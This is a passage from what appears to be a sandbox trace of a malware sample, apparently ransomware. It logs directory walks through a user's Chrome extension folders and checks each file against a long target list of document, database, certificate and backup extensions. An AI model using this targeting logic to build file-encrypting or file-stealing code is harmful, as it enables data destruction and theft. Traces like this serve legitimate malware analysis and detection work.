-1 [0052.389] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0052.389] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0052.389] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0052.389] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0052.389] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".onepkg", lpString2="ter.png") returned -1 [0052.390] lstrcmpiW (lpString1=".onetoc2", lpString2="eter.png") returned -1 [0052.390] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0052.390] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0052.391] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0052.392] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0052.392] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0052.392] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0052.392] lstrcmpiW (lpString1=".php3", lpString2="r.png") returned -1 [0052.392] lstrcmpiW (lpString1=".php4", lpString2="r.png") returned -1 [0052.392] lstrcmpiW (lpString1=".php5", lpString2="r.png") returned -1 [0052.392] lstrcmpiW (lpString1=".phtml", lpString2="er.png") returned -1 [0052.392] lstrcmpiW (lpString1=".pict", lpString2="r.png") returned -1 [0052.392] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0052.392] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0052.392] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0052.392] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0052.392] FindNextFileW (in: hFindFile=0x7cbb90, lpFindFileData=0x473f094 | out: lpFindFileData=0x473f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c6d6ed, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c6d6ed, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44f393c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_dot.png", cAlternateFileName="")) returned 1 [0052.392] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.392] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0052.393] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0052.393] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0052.393] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0052.393] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.393] lstrcmpiW (lpString1=".accda", lpString2="ot.png") returned -1 [0052.393] lstrcmpiW (lpString1=".accdb", lpString2="ot.png") returned -1 [0052.393] lstrcmpiW (lpString1=".accdc", lpString2="ot.png") returned -1 [0052.393] lstrcmpiW (lpString1=".accde", lpString2="ot.png") returned -1 [0052.393] lstrcmpiW (lpString1=".accdt", lpString2="ot.png") returned -1 [0052.393] lstrcmpiW (lpString1=".accdw", lpString2="ot.png") returned -1 [0052.393] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0052.393] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0052.393] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0052.393] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0052.394] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0052.394] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0052.394] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0052.394] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0052.394] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0052.394] lstrcmpiW (lpString1=".anim", lpString2="t.png") returned -1 [0052.394] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0052.394] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0052.394] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0052.394] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0052.394] lstrcmpiW (lpString1=".ascx", lpString2="t.png") returned -1 [0052.394] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0056.232] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.233] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83454560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.233] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83454560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.233] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.233] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.233] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1 [0056.233] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.234] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.234] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8345ba90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x46f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.234] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8345ba90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x46f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.234] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.234] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.234] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0056.234] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.241] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.241] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83462fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.242] lstrlenW (lpString="messages.json") returned 13 [0056.242] lstrlenW (lpString=".1cd") returned 4 [0056.242] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0056.242] lstrlenW (lpString=".3ds") returned 4 [0056.242] lstrcmpiW (lpString1=".3ds", lpString2="json") returned -1 [0056.242] lstrlenW (lpString=".3fr") returned 4 [0056.242] lstrcmpiW (lpString1=".3fr", lpString2="json") returned -1 [0056.242] lstrlenW (lpString=".3g2") returned 4 [0056.242] lstrcmpiW (lpString1=".3g2", lpString2="json") returned -1 [0056.242] lstrlenW (lpString=".3gp") returned 4 [0056.242] lstrcmpiW (lpString1=".3gp", lpString2="json") returned -1 [0056.242] lstrlenW (lpString=".7z") returned 3 [0056.242] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0056.242] lstrlenW (lpString=".accda") returned 6 [0056.242] lstrcmpiW (lpString1=".accda", lpString2="s.json") returned -1 [0056.242] lstrlenW (lpString=".accdb") returned 6 [0056.242] lstrcmpiW (lpString1=".accdb", lpString2="s.json") returned -1 [0056.242] lstrlenW (lpString=".accdc") returned 6 [0056.242] lstrcmpiW (lpString1=".accdc", lpString2="s.json") returned -1 [0056.242] lstrlenW (lpString=".accde") returned 6 [0056.243] lstrcmpiW (lpString1=".accde", lpString2="s.json") returned -1 [0056.243] lstrlenW (lpString=".accdt") returned 6 [0056.243] lstrcmpiW (lpString1=".accdt", lpString2="s.json") returned -1 [0056.243] lstrlenW (lpString=".accdw") returned 6 [0056.243] lstrcmpiW (lpString1=".accdw", lpString2="s.json") returned -1 [0056.243] lstrlenW (lpString=".adb") returned 4 [0056.243] lstrcmpiW (lpString1=".adb", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".adp") returned 4 [0056.243] lstrcmpiW (lpString1=".adp", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".ai") returned 3 [0056.243] lstrcmpiW (lpString1=".ai", lpString2="son") returned -1 [0056.243] lstrlenW (lpString=".ai3") returned 4 [0056.243] lstrcmpiW (lpString1=".ai3", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".ai4") returned 4 [0056.243] lstrcmpiW (lpString1=".ai4", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".ai5") returned 4 [0056.243] lstrcmpiW (lpString1=".ai5", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".ai6") returned 4 [0056.243] lstrcmpiW (lpString1=".ai6", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".ai7") returned 4 [0056.243] lstrcmpiW (lpString1=".ai7", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".ai8") returned 4 [0056.243] lstrcmpiW (lpString1=".ai8", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".anim") returned 5 [0056.243] lstrcmpiW (lpString1=".anim", lpString2=".json") returned -1 [0056.243] lstrlenW (lpString=".arw") returned 4 [0056.243] lstrcmpiW (lpString1=".arw", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".as") returned 3 [0056.243] lstrcmpiW (lpString1=".as", lpString2="son") returned -1 [0056.243] lstrlenW (lpString=".asa") returned 4 [0056.243] lstrcmpiW (lpString1=".asa", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".asc") returned 4 [0056.243] lstrcmpiW (lpString1=".asc", lpString2="json") returned -1 [0056.243] lstrlenW (lpString=".ascx") returned 5 [0056.243] lstrcmpiW (lpString1=".ascx", lpString2=".json") returned -1 [0056.244] lstrlenW (lpString=".asm") returned 4 [0056.244] lstrcmpiW (lpString1=".asm", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".asmx") returned 5 [0056.244] lstrcmpiW (lpString1=".asmx", lpString2=".json") returned -1 [0056.244] lstrlenW (lpString=".asp") returned 4 [0056.244] lstrcmpiW (lpString1=".asp", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".aspx") returned 5 [0056.244] lstrcmpiW (lpString1=".aspx", lpString2=".json") returned -1 [0056.244] lstrlenW (lpString=".asr") returned 4 [0056.244] lstrcmpiW (lpString1=".asr", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".asx") returned 4 [0056.244] lstrcmpiW (lpString1=".asx", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".avi") returned 4 [0056.244] lstrcmpiW (lpString1=".avi", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".avs") returned 4 [0056.244] lstrcmpiW (lpString1=".avs", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".backup") returned 7 [0056.244] lstrcmpiW (lpString1=".backup", lpString2="es.json") returned -1 [0056.244] lstrlenW (lpString=".bak") returned 4 [0056.244] lstrcmpiW (lpString1=".bak", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".bay") returned 4 [0056.244] lstrcmpiW (lpString1=".bay", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".bd") returned 3 [0056.244] lstrcmpiW (lpString1=".bd", lpString2="son") returned -1 [0056.244] lstrlenW (lpString=".bin") returned 4 [0056.244] lstrcmpiW (lpString1=".bin", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".bmp") returned 4 [0056.244] lstrcmpiW (lpString1=".bmp", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".bz2") returned 4 [0056.244] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0056.244] lstrlenW (lpString=".c") returned 2 [0056.244] lstrcmpiW (lpString1=".c", lpString2="on") returned -1 [0056.244] lstrlenW (lpString=".cdr") returned 4 [0056.244] lstrcmpiW (lpString1=".cdr", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".cer") returned 4 [0056.245] lstrcmpiW (lpString1=".cer", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".cf") returned 3 [0056.245] lstrcmpiW (lpString1=".cf", lpString2="son") returned -1 [0056.245] lstrlenW (lpString=".cfc") returned 4 [0056.245] lstrcmpiW (lpString1=".cfc", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".cfm") returned 4 [0056.245] lstrcmpiW (lpString1=".cfm", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".cfml") returned 5 [0056.245] lstrcmpiW (lpString1=".cfml", lpString2=".json") returned -1 [0056.245] lstrlenW (lpString=".cfu") returned 4 [0056.245] lstrcmpiW (lpString1=".cfu", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".chm") returned 4 [0056.245] lstrcmpiW (lpString1=".chm", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".cin") returned 4 [0056.245] lstrcmpiW (lpString1=".cin", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".class") returned 6 [0056.245] lstrcmpiW (lpString1=".class", lpString2="s.json") returned -1 [0056.245] lstrlenW (lpString=".clx") returned 4 [0056.245] lstrcmpiW (lpString1=".clx", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".config") returned 7 [0056.245] lstrcmpiW (lpString1=".config", lpString2="es.json") returned -1 [0056.245] lstrlenW (lpString=".cpp") returned 4 [0056.245] lstrcmpiW (lpString1=".cpp", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".cr2") returned 4 [0056.245] lstrcmpiW (lpString1=".cr2", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".crt") returned 4 [0056.245] lstrcmpiW (lpString1=".crt", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".crw") returned 4 [0056.245] lstrcmpiW (lpString1=".crw", lpString2="json") returned -1 [0056.245] lstrlenW (lpString=".cs") returned 3 [0056.245] lstrcmpiW (lpString1=".cs", lpString2="son") returned -1 [0056.245] lstrlenW (lpString=".css") returned 4 [0056.246] lstrcmpiW (lpString1=".css", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".csv") returned 4 [0056.246] lstrcmpiW (lpString1=".csv", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".cub") returned 4 [0056.246] lstrcmpiW (lpString1=".cub", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".dae") returned 4 [0056.246] lstrcmpiW (lpString1=".dae", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".dat") returned 4 [0056.246] lstrcmpiW (lpString1=".dat", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".db") returned 3 [0056.246] lstrcmpiW (lpString1=".db", lpString2="son") returned -1 [0056.246] lstrlenW (lpString=".dbf") returned 4 [0056.246] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".dbx") returned 4 [0056.246] lstrcmpiW (lpString1=".dbx", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".dc3") returned 4 [0056.246] lstrcmpiW (lpString1=".dc3", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".dcm") returned 4 [0056.246] lstrcmpiW (lpString1=".dcm", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".dcr") returned 4 [0056.246] lstrcmpiW (lpString1=".dcr", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".der") returned 4 [0056.246] lstrcmpiW (lpString1=".der", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".dib") returned 4 [0056.246] lstrcmpiW (lpString1=".dib", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".dic") returned 4 [0056.246] lstrcmpiW (lpString1=".dic", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".dif") returned 4 [0056.246] lstrcmpiW (lpString1=".dif", lpString2="json") returned -1 [0056.246] lstrlenW (lpString=".divx") returned 5 [0056.246] lstrcmpiW (lpString1=".divx", lpString2=".json") returned -1 [0056.246] lstrlenW (lpString=".djvu") returned 5 [0056.246] lstrcmpiW (lpString1=".djvu", lpString2=".json") returned -1 [0056.246] lstrlenW (lpString=".dng") returned 4 [0056.247] lstrcmpiW (lpString1=".dng", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".doc") returned 4 [0056.247] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".docm") returned 5 [0056.247] lstrcmpiW (lpString1=".docm", lpString2=".json") returned -1 [0056.247] lstrlenW (lpString=".docx") returned 5 [0056.247] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0056.247] lstrlenW (lpString=".dot") returned 4 [0056.247] lstrcmpiW (lpString1=".dot", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".dotm") returned 5 [0056.247] lstrcmpiW (lpString1=".dotm", lpString2=".json") returned -1 [0056.247] lstrlenW (lpString=".dotx") returned 5 [0056.247] lstrcmpiW (lpString1=".dotx", lpString2=".json") returned -1 [0056.247] lstrlenW (lpString=".dpx") returned 4 [0056.247] lstrcmpiW (lpString1=".dpx", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".dqy") returned 4 [0056.247] lstrcmpiW (lpString1=".dqy", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".dsn") returned 4 [0056.247] lstrcmpiW (lpString1=".dsn", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".dt") returned 3 [0056.247] lstrcmpiW (lpString1=".dt", lpString2="son") returned -1 [0056.247] lstrlenW (lpString=".dtd") returned 4 [0056.247] lstrcmpiW (lpString1=".dtd", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".dwg") returned 4 [0056.247] lstrcmpiW (lpString1=".dwg", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".dwt") returned 4 [0056.247] lstrcmpiW (lpString1=".dwt", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".dx") returned 3 [0056.247] lstrcmpiW (lpString1=".dx", lpString2="son") returned -1 [0056.247] lstrlenW (lpString=".dxf") returned 4 [0056.247] lstrcmpiW (lpString1=".dxf", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".edml") returned 5 [0056.247] lstrcmpiW (lpString1=".edml", lpString2=".json") returned -1 [0056.247] lstrlenW (lpString=".efd") returned 4 [0056.247] lstrcmpiW (lpString1=".efd", lpString2="json") returned -1 [0056.247] lstrlenW (lpString=".elf") returned 4 [0056.248] lstrcmpiW (lpString1=".elf", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".emf") returned 4 [0056.248] lstrcmpiW (lpString1=".emf", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".emz") returned 4 [0056.248] lstrcmpiW (lpString1=".emz", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".epf") returned 4 [0056.248] lstrcmpiW (lpString1=".epf", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".eps") returned 4 [0056.248] lstrcmpiW (lpString1=".eps", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".epsf") returned 5 [0056.248] lstrcmpiW (lpString1=".epsf", lpString2=".json") returned -1 [0056.248] lstrlenW (lpString=".epsp") returned 5 [0056.248] lstrcmpiW (lpString1=".epsp", lpString2=".json") returned -1 [0056.248] lstrlenW (lpString=".erf") returned 4 [0056.248] lstrcmpiW (lpString1=".erf", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".exr") returned 4 [0056.248] lstrcmpiW (lpString1=".exr", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".f4v") returned 4 [0056.248] lstrcmpiW (lpString1=".f4v", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".fido") returned 5 [0056.248] lstrcmpiW (lpString1=".fido", lpString2=".json") returned -1 [0056.248] lstrlenW (lpString=".flm") returned 4 [0056.248] lstrcmpiW (lpString1=".flm", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".flv") returned 4 [0056.248] lstrcmpiW (lpString1=".flv", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".frm") returned 4 [0056.248] lstrcmpiW (lpString1=".frm", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".fxg") returned 4 [0056.248] lstrcmpiW (lpString1=".fxg", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".geo") returned 4 [0056.248] lstrcmpiW (lpString1=".geo", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".gif") returned 4 [0056.248] lstrcmpiW (lpString1=".gif", lpString2="json") returned -1 [0056.248] lstrlenW (lpString=".grs") returned 4 [0056.248] lstrcmpiW (lpString1=".grs", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".gz") returned 3 [0056.249] lstrcmpiW (lpString1=".gz", lpString2="son") returned -1 [0056.249] lstrlenW (lpString=".h") returned 2 [0056.249] lstrcmpiW (lpString1=".h", lpString2="on") returned -1 [0056.249] lstrlenW (lpString=".hdr") returned 4 [0056.249] lstrcmpiW (lpString1=".hdr", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".hpp") returned 4 [0056.249] lstrcmpiW (lpString1=".hpp", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".hta") returned 4 [0056.249] lstrcmpiW (lpString1=".hta", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".htc") returned 4 [0056.249] lstrcmpiW (lpString1=".htc", lpString2="json") returned -1 [0056.249] lstrlenW (lpString=".htm") returned 4 [0056.249] lstrcmpiW (lpString1=".htm", lpString2="json") returned -1 [0056.249] lstrlenW 